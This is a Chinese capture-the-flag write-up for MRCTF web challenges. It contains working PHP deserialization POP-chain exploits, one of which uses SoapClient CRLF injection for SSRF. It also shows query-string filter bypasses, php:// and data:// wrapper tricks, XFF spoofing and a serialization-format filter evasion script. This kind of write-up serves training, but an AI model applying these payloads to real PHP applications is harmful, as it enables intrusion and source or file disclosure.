MRCTF复盘题解

WEB

0x 01 Ez_bypass

第一层数组绕过,第二层弱类型比较绕过

0x 02 你传你🐎呢

上传.htaccess绕过

0x 03 PYWebsite

XFF伪造127.0.0.1得到flag

0x 04 Ezpop

  1. __wakeup()方法通过preg_match()$this->source做字符串比较,如果$this->sourceShow类,就调用了__toString()方法;
  2. __toString()访问了strsource属性,strTest类,不存在source属性,就调用了Test类的__get()魔术方法;
  3. __get()方法将p作为函数使用,p实例化为Modify类,就调用了Modifier__invoke()方法;
  4. __invoke()调用了append()方法,包含$value,若将$value为伪协议,则可读flag.php源码

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class Modifier {
protected $var = "php://filter/convert.base64-encode/resource=flag.php";
}

class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return "aaa";
}
}

class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
$o = new Show('aaa');
$o->str= new Test();
$lxj = new Show($o);

echo urlencode(serialize($lxj));

0x 05 套娃

  • 第一关
1
2
3
4
5
6
7
$query = $_SERVER['QUERY_STRING'];

if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";

第一层匹配了_符号和它的url编码值,有如下方法绕过:

  1. %5F
  2. b.u.p.t(点代替_)
  3. b u p t(空格代替_)

第二层换行污染绕过,最终payload:?b.u.p.t=23333%0a

  • 第二关

伪造本地访问得到jsfuck提示post me Merak,post一个Merak参数得到源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';

if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}


function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

file_get_contents()data://或者php://input伪协议绕过,根据加密脚本可以编写出dechange函数,得到ZmpdYSZmXGI=,最终发包得到flag

0x 06 Ezaudit

www.zip源代码泄露,题目类似于GWCTF枯燥的抽奖,根据原题的payload还原出种子,然后手工推算出私钥,最后SQL注入得到flag

0x 07 Ezpop_Revenge

var/Typecho/Plugin.php

激活插件方法处得到绑定的url

首先根据题意全局搜索unserialize,路径为usr/plugins/HelloWorld/Plugin.php中找到反序列化点

首先看到这里:

找到入口点,跟进Typecho_Db::__construct

存在字符串拼接,全局搜索寻找__tostring()魔术方法

我们选择var/Typecho/Db/Query.php作为跳板

如果$this->_sqlPreBuild[‘action’]=SELECT就调用:

1
$this->_adapter->parseSelect($this->_sqlPreBuild)

如果令$this->_adapter为Soapclient实例,触发_call完成ssrf

pop链构造如下:

1
2
3
4
5
HelloWorld_DB::wakeup–>
Typecho_Db::__construct(tostring)–>
Typecho_Db_Query::__construct–>
(this->_adapter=new Soapclient)–>
__call()进行ssrf

exp构造如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class HelloWorld_DB{
private $coincidence;
public function __construct(){
$this->coincidence=(['hello'=>new Typecho_Db_Query()]);
}
}

class Typecho_Db_Query
{
private $_sqlPreBuild;
private $_adapter;
public function __construct(){
$this->_sqlPreBuild['action']='SELECT';
$target = "http://127.0.0.1/flag.php";
$headers = array(
'Cookie: PHPSESSID=ubcj94u08mcaodg4g1e0nooam2',
);
$this->_adapter=new SoapClient(
null,
array('location' => $target,
'user_agent'=>str_replace('^^', "\r\n",'w4nder^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers)),'uri'=>'hello'));
}

}
$a = serialize(new HelloWorld_DB());
echo base64_encode($a);

访问/page_admin?admin=1,post提交base64编码的结果得到flag

  • 后记

在入口处存在一则过滤,其中过滤了百分号,由于经过base64编码后在解码没有百分号了,所以不需要绕过

假设我们需要绕过%分号该如何绕过呢?答案是需要用\00来代替%00

1
2
3
4
5
6
在 PHP5 最新的 CVS 中,
新的序列化方式叫做 escaped binary string 方式,这是相对与普通那种 non-escaped binary string 方式来说的:
string 型数据(字符串)新的序列化格式为:
S:"<length>":"<value>";
其中 <length> 是源字符串的长度,而非 <value> 的长度。<length> 是非负整数,数字前可以带有正号(+)。<value> 为经过转义之后的字符串。
它的转义编码很简单,对于 ASCII 码小于 128 的字符(但不包括 \),按照单个字节写入(与 s 标识的相同),对于 128~255 的字符和 \ 字符,则将其 ASCII 码值转化为 16 进制编码的字符串,以 \ 作为开头,后面两个字节分别是这个字符的 16 进制编码,顺序按照由高位到低位排列,也就是第 8-5 位所对应的16进制数字字符(abcdef 这几个字母是小写)作为第一个字节,第 4-1 位作为第二个字节。依次编码下来,得到的就是 <value> 的内容了。

普通的序列化小s对应的就是普通的字符串,如s:3:”%00a%00”;
而序列化的大S则对应的是\加上16进制,如S:2:”\00a\00”。

将不可见字符%00转化为十六进制,大S成功执行wakeup

小写s则失败

转换脚本,参考颖奇师傅的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function decorate($str)
{
$arr = explode(':', $str);
$newstr = '';
for ($i = 0; $i < count($arr); $i++) {
if (preg_match('/00/', $arr[$i])) {
$arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]);
}
}
$i = 0;
for (; $i < count($arr) - 1; $i++) {
$newstr .= $arr[$i];
$newstr .= ":";
}
$newstr .= $arr[$i];
return $newstr;
}

参考资料:

https://blog.csdn.net/chasingin/article/details/105189436

https://www.gem-love.com/ctf/2184.html#Ezpop_Revenge

https://glotozz.github.io/2020/03/29/Ezpop-Revenge-wp/

MISC

https://mp.weixin.qq.com/s?__biz=MzIxMDYyNTk3Nw==&mid=2247484708&idx=1&sn=8ebc3f4f1850da54ab7cb1b1879921e0&chksm=9760f1f2a01778e44b586e45172230db1b2b0da09a3b6c357705e930a43260c244e2aa1ecdb6&mpshare=1&scene=23&srcid=&sharer_sharetime=1585840887466&sharer_shareid=7fa312c2aff8bd738bf9d331ff765678#rd